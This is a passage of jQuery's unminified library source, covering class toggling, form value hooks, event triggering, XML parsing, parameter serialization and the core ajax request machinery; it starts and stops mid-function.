						self.addClass( className );
					}
				}

			// Toggle whole class name
			} else if ( value === undefined || type === "boolean" ) {
				className = getClass( this );
				if ( className ) {

					// Store className if set
					dataPriv.set( this, "__className__", className );
				}

				// If the element has a class name or if we're passed `false`,
				// then remove the whole classname (if there was one, the above saved it).
				// Otherwise bring back whatever was previously saved (if anything),
				// falling back to the empty string if nothing was stored.
				if ( this.setAttribute ) {
					this.setAttribute( "class",
						className || value === false ?
							"" :
							dataPriv.get( this, "__className__" ) || ""
					);
				}
			}
		} );
	},

	hasClass: function( selector ) {
		var className, elem,
			i = 0;

		className = " " + selector + " ";
		while ( ( elem = this[ i++ ] ) ) {
			if ( elem.nodeType === 1 &&
				( " " + stripAndCollapse( getClass( elem ) ) + " " ).indexOf( className ) > -1 ) {
				return true;
			}
		}

		return false;
	}
} );




var rreturn = /\r/g;

jQuery.fn.extend( {
	val: function( value ) {
		var hooks, ret, valueIsFunction,
			elem = this[ 0 ];

		if ( !arguments.length ) {
			if ( elem ) {
				hooks = jQuery.valHooks[ elem.type ] ||
					jQuery.valHooks[ elem.nodeName.toLowerCase() ];

				if ( hooks &&
					"get" in hooks &&
					( ret = hooks.get( elem, "value" ) ) !== undefined
				) {
					return ret;
				}

				ret = elem.value;

				// Handle most common string cases
				if ( typeof ret === "string" ) {
					return ret.replace( rreturn, "" );
				}

				// Handle cases where value is null/undef or number
				return ret == null ? "" : ret;
			}

			return;
		}

		valueIsFunction = isFunction( value );

		return this.each( function( i ) {
			var val;

			if ( this.nodeType !== 1 ) {
				return;
			}

			if ( valueIsFunction ) {
				val = value.call( this, i, jQuery( this ).val() );
			} else {
				val = value;
			}

			// Treat null/undefined as ""; convert numbers to string
			if ( val == null ) {
				val = "";

			} else if ( typeof val === "number" ) {
				val += "";

			} else if ( Array.isArray( val ) ) {
				val = jQuery.map( val, function( value ) {
					return value == null ? "" : value + "";
				} );
			}

			hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];

			// If set returns undefined, fall back to normal setting
			if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) {
				this.value = val;
			}
		} );
	}
} );

jQuery.extend( {
	valHooks: {
		option: {
			get: function( elem ) {

				var val = jQuery.find.attr( elem, "value" );
				return val != null ?
					val :

					// Support: IE <=10 - 11 only
					// option.text throws exceptions (#14686, #14858)
					// Strip and collapse whitespace
					// https://html.spec.whatwg.org/#strip-and-collapse-whitespace
					stripAndCollapse( jQuery.text( elem ) );
			}
		},
		select: {
			get: function( elem ) {
				var value, option, i,
					options = elem.options,
					index = elem.selectedIndex,
					one = elem.type === "select-one",
					values = one ? null : [],
					max = one ? index + 1 : options.length;

				if ( index < 0 ) {
					i = max;

				} else {
					i = one ? index : 0;
				}

				// Loop through all the selected options
				for ( ; i < max; i++ ) {
					option = options[ i ];

					// Support: IE <=9 only
					// IE8-9 doesn't update selected after form reset (#2551)
					if ( ( option.selected || i === index ) &&

							// Don't return options that are disabled or in a disabled optgroup
							!option.disabled &&
							( !option.parentNode.disabled ||
								!nodeName( option.parentNode, "optgroup" ) ) ) {

						// Get the specific value for the option
						value = jQuery( option ).val();

						// We don't need an array for one selects
						if ( one ) {
							return value;
						}

						// Multi-Selects return an array
						values.push( value );
					}
				}

				return values;
			},

			set: function( elem, value ) {
				var optionSet, option,
					options = elem.options,
					values = jQuery.makeArray( value ),
					i = options.length;

				while ( i-- ) {
					option = options[ i ];

					/* eslint-disable no-cond-assign */

					if ( option.selected =
						jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1
					) {
						optionSet = true;
					}

					/* eslint-enable no-cond-assign */
				}

				// Force browsers to behave consistently when non-matching value is set
				if ( !optionSet ) {
					elem.selectedIndex = -1;
				}
				return values;
			}
		}
	}
} );

// Radios and checkboxes getter/setter
jQuery.each( [ "radio", "checkbox" ], function() {
	jQuery.valHooks[ this ] = {
		set: function( elem, value ) {
			if ( Array.isArray( value ) ) {
				return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 );
			}
		}
	};
	if ( !support.checkOn ) {
		jQuery.valHooks[ this ].get = function( elem ) {
			return elem.getAttribute( "value" ) === null ? "on" : elem.value;
		};
	}
} );




// Return jQuery for attributes-only inclusion


support.focusin = "onfocusin" in window;


var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
	stopPropagationCallback = function( e ) {
		e.stopPropagation();
	};

jQuery.extend( jQuery.event, {

	trigger: function( event, data, elem, onlyHandlers ) {

		var i, cur, tmp, bubbleType, ontype, handle, special, lastElement,
			eventPath = [ elem || document ],
			type = hasOwn.call( event, "type" ) ? event.type : event,
			namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : [];

		cur = lastElement = tmp = elem = elem || document;

		// Don't do events on text and comment nodes
		if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
			return;
		}

		// focus/blur morphs to focusin/out; ensure we're not firing them right now
		if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {
			return;
		}

		if ( type.indexOf( "." ) > -1 ) {

			// Namespaced trigger; create a regexp to match event type in handle()
			namespaces = type.split( "." );
			type = namespaces.shift();
			namespaces.sort();
		}
		ontype = type.indexOf( ":" ) < 0 && "on" + type;

		// Caller can pass in a jQuery.Event object, Object, or just an event type string
		event = event[ jQuery.expando ] ?
			event :
			new jQuery.Event( type, typeof event === "object" && event );

		// Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)
		event.isTrigger = onlyHandlers ? 2 : 3;
		event.namespace = namespaces.join( "." );
		event.rnamespace = event.namespace ?
			new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) :
			null;

		// Clean up the event in case it is being reused
		event.result = undefined;
		if ( !event.target ) {
			event.target = elem;
		}

		// Clone any incoming data and prepend the event, creating the handler arg list
		data = data == null ?
			[ event ] :
			jQuery.makeArray( data, [ event ] );

		// Allow special events to draw outside the lines
		special = jQuery.event.special[ type ] || {};
		if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {
			return;
		}

		// Determine event propagation path in advance, per W3C events spec (#9951)
		// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)
		if ( !onlyHandlers && !special.noBubble && !isWindow( elem ) ) {

			bubbleType = special.delegateType || type;
			if ( !rfocusMorph.test( bubbleType + type ) ) {
				cur = cur.parentNode;
			}
			for ( ; cur; cur = cur.parentNode ) {
				eventPath.push( cur );
				tmp = cur;
			}

			// Only add window if we got to document (e.g., not plain obj or detached DOM)
			if ( tmp === ( elem.ownerDocument || document ) ) {
				eventPath.push( tmp.defaultView || tmp.parentWindow || window );
			}
		}

		// Fire handlers on the event path
		i = 0;
		while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) {
			lastElement = cur;
			event.type = i > 1 ?
				bubbleType :
				special.bindType || type;

			// jQuery handler
			handle = ( dataPriv.get( cur, "events" ) || Object.create( null ) )[ event.type ] &&
				dataPriv.get( cur, "handle" );
			if ( handle ) {
				handle.apply( cur, data );
			}

			// Native handler
			handle = ontype && cur[ ontype ];
			if ( handle && handle.apply && acceptData( cur ) ) {
				event.result = handle.apply( cur, data );
				if ( event.result === false ) {
					event.preventDefault();
				}
			}
		}
		event.type = type;

		// If nobody prevented the default action, do it now
		if ( !onlyHandlers && !event.isDefaultPrevented() ) {

			if ( ( !special._default ||
				special._default.apply( eventPath.pop(), data ) === false ) &&
				acceptData( elem ) ) {

				// Call a native DOM method on the target with the same name as the event.
				// Don't do default actions on window, that's where global variables be (#6170)
				if ( ontype && isFunction( elem[ type ] ) && !isWindow( elem ) ) {

					// Don't re-trigger an onFOO event when we call its FOO() method
					tmp = elem[ ontype ];

					if ( tmp ) {
						elem[ ontype ] = null;
					}

					// Prevent re-triggering of the same event, since we already bubbled it above
					jQuery.event.triggered = type;

					if ( event.isPropagationStopped() ) {
						lastElement.addEventListener( type, stopPropagationCallback );
					}

					elem[ type ]();

					if ( event.isPropagationStopped() ) {
						lastElement.removeEventListener( type, stopPropagationCallback );
					}

					jQuery.event.triggered = undefined;

					if ( tmp ) {
						elem[ ontype ] = tmp;
					}
				}
			}
		}

		return event.result;
	},

	// Piggyback on a donor event to simulate a different one
	// Used only for `focus(in | out)` events
	simulate: function( type, elem, event ) {
		var e = jQuery.extend(
			new jQuery.Event(),
			event,
			{
				type: type,
				isSimulated: true
			}
		);

		jQuery.event.trigger( e, null, elem );
	}

} );

jQuery.fn.extend( {

	trigger: function( type, data ) {
		return this.each( function() {
			jQuery.event.trigger( type, data, this );
		} );
	},
	triggerHandler: function( type, data ) {
		var elem = this[ 0 ];
		if ( elem ) {
			return jQuery.event.trigger( type, data, elem, true );
		}
	}
} );


// Support: Firefox <=44
// Firefox doesn't have focus(in | out) events
// Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787
//
// Support: Chrome <=48 - 49, Safari <=9.0 - 9.1
// focus(in | out) events fire after focus & blur events,
// which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order
// Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857
if ( !support.focusin ) {
	jQuery.each( { focus: "focusin", blur: "focusout" }, function( orig, fix ) {

		// Attach a single capturing handler on the document while someone wants focusin/focusout
		var handler = function( event ) {
			jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) );
		};

		jQuery.event.special[ fix ] = {
			setup: function() {

				// Handle: regular nodes (via `this.ownerDocument`), window
				// (via `this.document`) & document (via `this`).
				var doc = this.ownerDocument || this.document || this,
					attaches = dataPriv.access( doc, fix );

				if ( !attaches ) {
					doc.addEventListener( orig, handler, true );
				}
				dataPriv.access( doc, fix, ( attaches || 0 ) + 1 );
			},
			teardown: function() {
				var doc = this.ownerDocument || this.document || this,
					attaches = dataPriv.access( doc, fix ) - 1;

				if ( !attaches ) {
					doc.removeEventListener( orig, handler, true );
					dataPriv.remove( doc, fix );

				} else {
					dataPriv.access( doc, fix, attaches );
				}
			}
		};
	} );
}
var location = window.location;

var nonce = { guid: Date.now() };

var rquery = ( /\?/ );



// Cross-browser xml parsing
jQuery.parseXML = function( data ) {
	var xml, parserErrorElem;
	if ( !data || typeof data !== "string" ) {
		return null;
	}

	// Support: IE 9 - 11 only
	// IE throws on parseFromString with invalid input.
	try {
		xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" );
	} catch ( e ) {}

	parserErrorElem = xml && xml.getElementsByTagName( "parsererror" )[ 0 ];
	if ( !xml || parserErrorElem ) {
		jQuery.error( "Invalid XML: " + (
			parserErrorElem ?
				jQuery.map( parserErrorElem.childNodes, function( el ) {
					return el.textContent;
				} ).join( "\n" ) :
				data
		) );
	}
	return xml;
};


var
	rbracket = /\[\]$/,
	rCRLF = /\r?\n/g,
	rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
	rsubmittable = /^(?:input|select|textarea|keygen)/i;

function buildParams( prefix, obj, traditional, add ) {
	var name;

	if ( Array.isArray( obj ) ) {

		// Serialize array item.
		jQuery.each( obj, function( i, v ) {
			if ( traditional || rbracket.test( prefix ) ) {

				// Treat each array item as a scalar.
				add( prefix, v );

			} else {

				// Item is non-scalar (array or object), encode its numeric index.
				buildParams(
					prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]",
					v,
					traditional,
					add
				);
			}
		} );

	} else if ( !traditional && toType( obj ) === "object" ) {

		// Serialize object item.
		for ( name in obj ) {
			buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
		}

	} else {

		// Serialize scalar item.
		add( prefix, obj );
	}
}

// Serialize an array of form elements or a set of
// key/values into a query string
jQuery.param = function( a, traditional ) {
	var prefix,
		s = [],
		add = function( key, valueOrFunction ) {

			// If value is a function, invoke it and use its return value
			var value = isFunction( valueOrFunction ) ?
				valueOrFunction() :
				valueOrFunction;

			s[ s.length ] = encodeURIComponent( key ) + "=" +
				encodeURIComponent( value == null ? "" : value );
		};

	if ( a == null ) {
		return "";
	}

	// If an array was passed in, assume that it is an array of form elements.
	if ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {

		// Serialize the form elements
		jQuery.each( a, function() {
			add( this.name, this.value );
		} );

	} else {

		// If traditional, encode the "old" way (the way 1.3.2 or older
		// did it), otherwise encode params recursively.
		for ( prefix in a ) {
			buildParams( prefix, a[ prefix ], traditional, add );
		}
	}

	// Return the resulting serialization
	return s.join( "&" );
};

jQuery.fn.extend( {
	serialize: function() {
		return jQuery.param( this.serializeArray() );
	},
	serializeArray: function() {
		return this.map( function() {

			// Can add propHook for "elements" to filter or add form elements
			var elements = jQuery.prop( this, "elements" );
			return elements ? jQuery.makeArray( elements ) : this;
		} ).filter( function() {
			var type = this.type;

			// Use .is( ":disabled" ) so that fieldset[disabled] works
			return this.name && !jQuery( this ).is( ":disabled" ) &&
				rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&
				( this.checked || !rcheckableType.test( type ) );
		} ).map( function( _i, elem ) {
			var val = jQuery( this ).val();

			if ( val == null ) {
				return null;
			}

			if ( Array.isArray( val ) ) {
				return jQuery.map( val, function( val ) {
					return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
				} );
			}

			return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
		} ).get();
	}
} );


var
	r20 = /%20/g,
	rhash = /#.*$/,
	rantiCache = /([?&])_=[^&]*/,
	rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg,

	// #7653, #8125, #8152: local protocol detection
	rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
	rnoContent = /^(?:GET|HEAD)$/,
	rprotocol = /^\/\//,

	/* Prefilters
	 * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
	 * 2) These are called:
	 *    - BEFORE asking for a transport
	 *    - AFTER param serialization (s.data is a string if s.processData is true)
	 * 3) key is the dataType
	 * 4) the catchall symbol "*" can be used
	 * 5) execution will start with transport dataType and THEN continue down to "*" if needed
	 */
	prefilters = {},

	/* Transports bindings
	 * 1) key is the dataType
	 * 2) the catchall symbol "*" can be used
	 * 3) selection will start with transport dataType and THEN go to "*" if needed
	 */
	transports = {},

	// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression
	allTypes = "*/".concat( "*" ),

	// Anchor tag for parsing the document origin
	originAnchor = document.createElement( "a" );

originAnchor.href = location.href;

// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
function addToPrefiltersOrTransports( structure ) {

	// dataTypeExpression is optional and defaults to "*"
	return function( dataTypeExpression, func ) {

		if ( typeof dataTypeExpression !== "string" ) {
			func = dataTypeExpression;
			dataTypeExpression = "*";
		}

		var dataType,
			i = 0,
			dataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || [];

		if ( isFunction( func ) ) {

			// For each dataType in the dataTypeExpression
			while ( ( dataType = dataTypes[ i++ ] ) ) {

				// Prepend if requested
				if ( dataType[ 0 ] === "+" ) {
					dataType = dataType.slice( 1 ) || "*";
					( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func );

				// Otherwise append
				} else {
					( structure[ dataType ] = structure[ dataType ] || [] ).push( func );
				}
			}
		}
	};
}

// Base inspection function for prefilters and transports
function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {

	var inspected = {},
		seekingTransport = ( structure === transports );

	function inspect( dataType ) {
		var selected;
		inspected[ dataType ] = true;
		jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {
			var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );
			if ( typeof dataTypeOrTransport === "string" &&
				!seekingTransport && !inspected[ dataTypeOrTransport ] ) {

				options.dataTypes.unshift( dataTypeOrTransport );
				inspect( dataTypeOrTransport );
				return false;
			} else if ( seekingTransport ) {
				return !( selected = dataTypeOrTransport );
			}
		} );
		return selected;
	}

	return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" );
}

// A special extend for ajax options
// that takes "flat" options (not to be deep extended)
// Fixes #9887
function ajaxExtend( target, src ) {
	var key, deep,
		flatOptions = jQuery.ajaxSettings.flatOptions || {};

	for ( key in src ) {
		if ( src[ key ] !== undefined ) {
			( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];
		}
	}
	if ( deep ) {
		jQuery.extend( true, target, deep );
	}

	return target;
}

/* Handles responses to an ajax request:
 * - finds the right dataType (mediates between content-type and expected dataType)
 * - returns the corresponding response
 */
function ajaxHandleResponses( s, jqXHR, responses ) {

	var ct, type, finalDataType, firstDataType,
		contents = s.contents,
		dataTypes = s.dataTypes;

	// Remove auto dataType and get content-type in the process
	while ( dataTypes[ 0 ] === "*" ) {
		dataTypes.shift();
		if ( ct === undefined ) {
			ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" );
		}
	}

	// Check if we're dealing with a known content-type
	if ( ct ) {
		for ( type in contents ) {
			if ( contents[ type ] && contents[ type ].test( ct ) ) {
				dataTypes.unshift( type );
				break;
			}
		}
	}

	// Check to see if we have a response for the expected dataType
	if ( dataTypes[ 0 ] in responses ) {
		finalDataType = dataTypes[ 0 ];
	} else {

		// Try convertible dataTypes
		for ( type in responses ) {
			if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) {
				finalDataType = type;
				break;
			}
			if ( !firstDataType ) {
				firstDataType = type;
			}
		}

		// Or just use first one
		finalDataType = finalDataType || firstDataType;
	}

	// If we found a dataType
	// We add the dataType to the list if needed
	// and return the corresponding response
	if ( finalDataType ) {
		if ( finalDataType !== dataTypes[ 0 ] ) {
			dataTypes.unshift( finalDataType );
		}
		return responses[ finalDataType ];
	}
}

/* Chain conversions given the request and the original response
 * Also sets the responseXXX fields on the jqXHR instance
 */
function ajaxConvert( s, response, jqXHR, isSuccess ) {
	var conv2, current, conv, tmp, prev,
		converters = {},

		// Work with a copy of dataTypes in case we need to modify it for conversion
		dataTypes = s.dataTypes.slice();

	// Create converters map with lowercased keys
	if ( dataTypes[ 1 ] ) {
		for ( conv in s.converters ) {
			converters[ conv.toLowerCase() ] = s.converters[ conv ];
		}
	}

	current = dataTypes.shift();

	// Convert to each sequential dataType
	while ( current ) {

		if ( s.responseFields[ current ] ) {
			jqXHR[ s.responseFields[ current ] ] = response;
		}

		// Apply the dataFilter if provided
		if ( !prev && isSuccess && s.dataFilter ) {
			response = s.dataFilter( response, s.dataType );
		}

		prev = current;
		current = dataTypes.shift();

		if ( current ) {

			// There's only work to do if current dataType is non-auto
			if ( current === "*" ) {

				current = prev;

			// Convert response if prev dataType is non-auto and differs from current
			} else if ( prev !== "*" && prev !== current ) {

				// Seek a direct converter
				conv = converters[ prev + " " + current ] || converters[ "* " + current ];

				// If none found, seek a pair
				if ( !conv ) {
					for ( conv2 in converters ) {

						// If conv2 outputs current
						tmp = conv2.split( " " );
						if ( tmp[ 1 ] === current ) {

							// If prev can be converted to accepted input
							conv = converters[ prev + " " + tmp[ 0 ] ] ||
								converters[ "* " + tmp[ 0 ] ];
							if ( conv ) {

								// Condense equivalence converters
								if ( conv === true ) {
									conv = converters[ conv2 ];

								// Otherwise, insert the intermediate dataType
								} else if ( converters[ conv2 ] !== true ) {
									current = tmp[ 0 ];
									dataTypes.unshift( tmp[ 1 ] );
								}
								break;
							}
						}
					}
				}

				// Apply converter (if not an equivalence)
				if ( conv !== true ) {

					// Unless errors are allowed to bubble, catch and return them
					if ( conv && s.throws ) {
						response = conv( response );
					} else {
						try {
							response = conv( response );
						} catch ( e ) {
							return {
								state: "parsererror",
								error: conv ? e : "No conversion from " + prev + " to " + current
							};
						}
					}
				}
			}
		}
	}

	return { state: "success", data: response };
}

jQuery.extend( {

	// Counter for holding the number of active queries
	active: 0,

	// Last-Modified header cache for next request
	lastModified: {},
	etag: {},

	ajaxSettings: {
		url: location.href,
		type: "GET",
		isLocal: rlocalProtocol.test( location.protocol ),
		global: true,
		processData: true,
		async: true,
		contentType: "application/x-www-form-urlencoded; charset=UTF-8",

		/*
		timeout: 0,
		data: null,
		dataType: null,
		username: null,
		password: null,
		cache: null,
		throws: false,
		traditional: false,
		headers: {},
		*/

		accepts: {
			"*": allTypes,
			text: "text/plain",
			html: "text/html",
			xml: "application/xml, text/xml",
			json: "application/json, text/javascript"
		},

		contents: {
			xml: /\bxml\b/,
			html: /\bhtml/,
			json: /\bjson\b/
		},

		responseFields: {
			xml: "responseXML",
			text: "responseText",
			json: "responseJSON"
		},

		// Data converters
		// Keys separate source (or catchall "*") and destination types with a single space
		converters: {

			// Convert anything to text
			"* text": String,

			// Text to html (true = no transformation)
			"text html": true,

			// Evaluate text as a json expression
			"text json": JSON.parse,

			// Parse text as xml
			"text xml": jQuery.parseXML
		},

		// For options that shouldn't be deep extended:
		// you can add your own custom options here if
		// and when you create one that shouldn't be
		// deep extended (see ajaxExtend)
		flatOptions: {
			url: true,
			context: true
		}
	},

	// Creates a full fledged settings object into target
	// with both ajaxSettings and settings fields.
	// If target is omitted, writes into ajaxSettings.
	ajaxSetup: function( target, settings ) {
		return settings ?

			// Building a settings object
			ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :

			// Extending ajaxSettings
			ajaxExtend( jQuery.ajaxSettings, target );
	},

	ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
	ajaxTransport: addToPrefiltersOrTransports( transports ),

	// Main method
	ajax: function( url, options ) {

		// If url is an object, simulate pre-1.5 signature
		if ( typeof url === "object" ) {
			options = url;
			url = undefined;
		}

		// Force options to be an object
		options = options || {};

		var transport,

			// URL without anti-cache param
			cacheURL,

			// Response headers
			responseHeadersString,
			responseHeaders,

			// timeout handle
			timeoutTimer,

			// Url cleanup var
			urlAnchor,

			// Request state (becomes false upon send and true upon completion)
			completed,

			// To know if global events are to be dispatched
			fireGlobals,

			// Loop variable
			i,

			// uncached part of the url
			uncached,

			// Create the final options object
			s = jQuery.ajaxSetup( {}, options ),

			// Callbacks context
			callbackContext = s.context || s,

			// Context for global events is callbackContext if it is a DOM node or jQuery collection
			globalEventContext = s.context &&
				( callbackContext.nodeType || callbackContext.jquery ) ?
				jQuery( callbackContext ) :
				jQuery.event,

			// Deferreds
			deferred = jQuery.Deferred(),
			completeDeferred = jQuery.Callbacks( "once memory" ),

			// Status-dependent callbacks
			statusCode = s.statusCode || {},

			// Headers (they are sent all at once)
			requestHeaders = {},
			requestHeadersNames = {},

			// Default abort message
			strAbort = "canceled",

			// Fake xhr
			jqXHR = {
				readyState: 0,

				// Builds headers hashtable if needed
				getResponseHeader: function( key ) {
					var match;
					if ( completed ) {
						if ( !responseHeaders ) {
							responseHeaders = {};
							while ( ( match = rheaders.exec( responseHeadersString ) ) ) {
								responseHeaders[ match[ 1 ].toLowerCase() + " " ] =
									( responseHeaders[ match[ 1 ].toLowerCase() + " " ] || [] )
										.concat( match[ 2 ] );
							}
						}
						match = responseHeaders[ key.toLowerCase() + " " ];
					}
					return match == null ? null : match.join( ", " );
				},

				// Raw string
				getAllResponseHeaders: function() {
					return completed ? responseHeadersString : null;
				},

				// Caches the header
				setRequestHeader: function( name, value ) {
					if ( completed == null ) {
						name = requestHeadersNames[ name.toLowerCase() ] =
							requestHeadersNames[ name.toLowerCase() ] || name;
						requestHeaders[ name ] = value;
					}
					return this;
				},

				// Overrides response content-type header
				overrideMimeType: function( type ) {
					if ( completed == null ) {
						s.mimeType = type;
					}
					return this;
				},

				// Status-dependent callbacks
				statusCode: function( map ) {
					var code;
					if ( map ) {
						if ( completed ) {

							// Execute the appropriate callbacks
							jqXHR.always( map[ jqXHR.status ] );
						} else {

							// Lazy-add the new callbacks in a way that preserves old ones
							for ( code in map ) {
								statusCode[ code ] = [ statusCode[ code ], map[ code ] ];
							}
						}
					}
					return this;
				},

				// Cancel the request
				abort: function( statusText ) {
					var finalText = statusText || strAbort;
					if ( transport ) {
						transport.abort( finalText );
					}
					done( 0, finalText );
					return this;
				}
			};

		// Attach deferreds
		deferred.promise( jqXHR );

		// Add protocol if not provided (prefilters might expect it)
		// Handle falsy url in the settings object (#10093: consistency with old signature)
		// We also use the url parameter if available
		s.url = ( ( url || s.url || location.href ) + "" )
			.replace( rprotocol, location.protocol + "//" );

		// Alias method option to type as per ticket #12004
		s.type = options.method || options.type || s.method || s.type;

		// Extract dataTypes list
		s.dataTypes = ( s.dataType || "*" ).toLowerCase().match( rnothtmlwhite ) || [ "" ];

		// A cross-domain request is in order when the origin doesn't match the current origin.
		if ( s.crossDomain == null ) {
			urlAnchor = document.createElement( "a" );

			// Support: IE <=8 - 11, Edge 12 - 15
			// IE throws exception on accessing the href property if url is malformed,
			// e.g. http://example.com:80x/
			try {
				urlAnchor.href = s.url;

				// Support: IE <=8 - 11 only
				// Anchor's host property isn't correctly set when s.url is relative
				urlAnchor.href = urlAnchor.href;
				s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !==
					urlAnchor.protocol + "//" + urlAnchor.host;
			} catch ( e ) {

				// If there is an error parsing the URL, assume it is crossDomain,
				// it can be rejected by the transport if it is invalid
				s.crossDomain = true;
			}
		}

		// Convert data if not already a string
		if ( s.data && s.processData && typeof s.data !== "string" ) {
			s.data = jQuery.param( s.data, s.traditional );
		}

		// Apply prefilters
		inspectPrefiltersOrTransports( prefilters, s, options, jqXHR );

		// If request was aborted inside a prefilter, stop there
		if ( completed ) {
			return jqXHR;
		}

		// We can fire global events as of now if asked to
		// Don't fire events if jQuery.event is undefined in an AMD-usage scenario (#15118)
		fireGlobals = jQuery.event && s.global;

		// Watch for a new set of requests
		if ( fireGlobals && jQuery.active++ === 0 ) {
			jQuery.event.trigger( "ajaxStart" );
		}

		// Uppercase the type
		s.type = s.type.toUpperCase();

		// Determine if request has content
		s.hasContent = !rnoContent.test( s.type );

		// Save the URL in case we're toying with the If-Modified-Since
		// and/or If-None-Match header later on
		// Remove hash to simplify url manipulation
		cacheURL = s.url.replace( rhash, "" );

		// More options handling for requests with no content
		if ( !s.hasContent ) {

			// Remember the hash so we can put it back
			uncached = s.url.slice( cacheURL.length );

			// If data is available and should be processed, append data to url
			if ( s.data && ( s.processData || typeof s.data === "string" ) ) {
				cacheURL += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data;

				// #9682: remove data so that it's not used in an eventual retry
				delete s.data;
			}

			// Add or update anti-cache param if needed
			if ( s.cache === false ) {
				cacheURL = cacheURL.replace( rantiCache, "$1" );
				uncached = ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + ( nonce.guid++ ) +
					uncached;
			}

			// Put hash and anti-cache on the URL that will be requested (gh-1732)
			s.url = cacheURL + uncached;

		// Change '%20' to '+' if this is encoded form body content (gh-2658)
		} else if ( s.data && s.processData &&
			( s.contentType || "" ).indexOf( "application/x-www-form-urlencoded" ) === 0 ) {
			s.data = s.data.replace( r20, "+" );
		}

		// Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode.
		if ( s.ifModified ) {
			if ( jQuery.lastModified[ cacheURL ] ) {
				jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] );
			}
			if ( jQuery.etag[ cacheURL ] ) {
				jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] );
			}
		}

		// Set the correct header, if data is being sent
		if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) {
			jqXHR.setRequestHeader( "Content-Type", s.contentType );
		}

		// Set the Accepts header for the server, depending on the dataType
		jqXHR.setRequestHeader(
			"Accept",
			s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ?
				s.accepts[ s.dataTypes[ 0 ] ] +
					( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) :
				s.accepts[ "*" ]
		);

		// Check for headers option
		for ( i in s.headers ) {
			jqXHR.setRequestHeader( i, s.headers[ i ] );
		}

		// Allow custom headers/mimetypes and early abort
		if ( s.beforeSend &&
			( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) {

			// Abort if not done already and return
			return jqXHR.abort();
		}

		// Aborting is no longer a cancellation
		strAbort = "abort";

		// Install callbacks on deferreds
		completeDeferred.add( s.complete );
		jqXHR.done( s.success );
		jqXHR.fail( s.error );

		// Get transport
		transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR );

		// If no transport, we auto-abort
		if ( !transport ) {
			done( -1, "No Transport" );
		} else {
			jqXHR.readyState = 1;

			// Send global event
			if ( fireGlobals ) {
				globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] );
			}

			// If request was aborted inside ajaxSend, stop there
			if ( completed ) {
				return jqXHR;
			}

			// Timeout
			if ( s.async && s.timeout > 0 ) {
				timeoutTimer = window.setTimeout( function() {
					jqXHR.abort( "timeout" );
				}, s.timeout );
			}

			try {
				completed = false;
				transport.send( requestHeaders, done );
			} catch ( e ) {

				// Rethrow post-completion exceptions
				if ( completed ) {
					throw e;
				}

				// Propagate others as results
				done( -1, e );
			}
		}

		// Callback for when everything is done
		function done( status, nativeStatusText, responses, headers ) {
			var isSuccess, success, error, response, modified,
				statusText = nativeStatusText;

			// Ignore repeat invocations
			if ( completed ) {
				return;
			}

			completed = true;

			// Clear timeout if it exists
			if ( timeoutTimer ) {
				window.clearTimeout( timeoutTimer );
			}

			// Dereference transport for early garbage collection
			// (no matter how long the jqXHR object will be used)
			transport = undefined;

			// Cache response headers
			responseHeadersString = headers || "";

			// Set readyState
			jqXHR.readyState = status > 0 ? 4 : 0;

			// Determine if successful
			isSuccess = status >= 200 && status < 300 || status === 304;

			// Get response data
			if ( responses ) {
				response = ajaxHandleResponses( s, jqXHR, responses );
			}

			// Use a noop converter for missing script but not if jsonp
			if ( !isSuccess &&
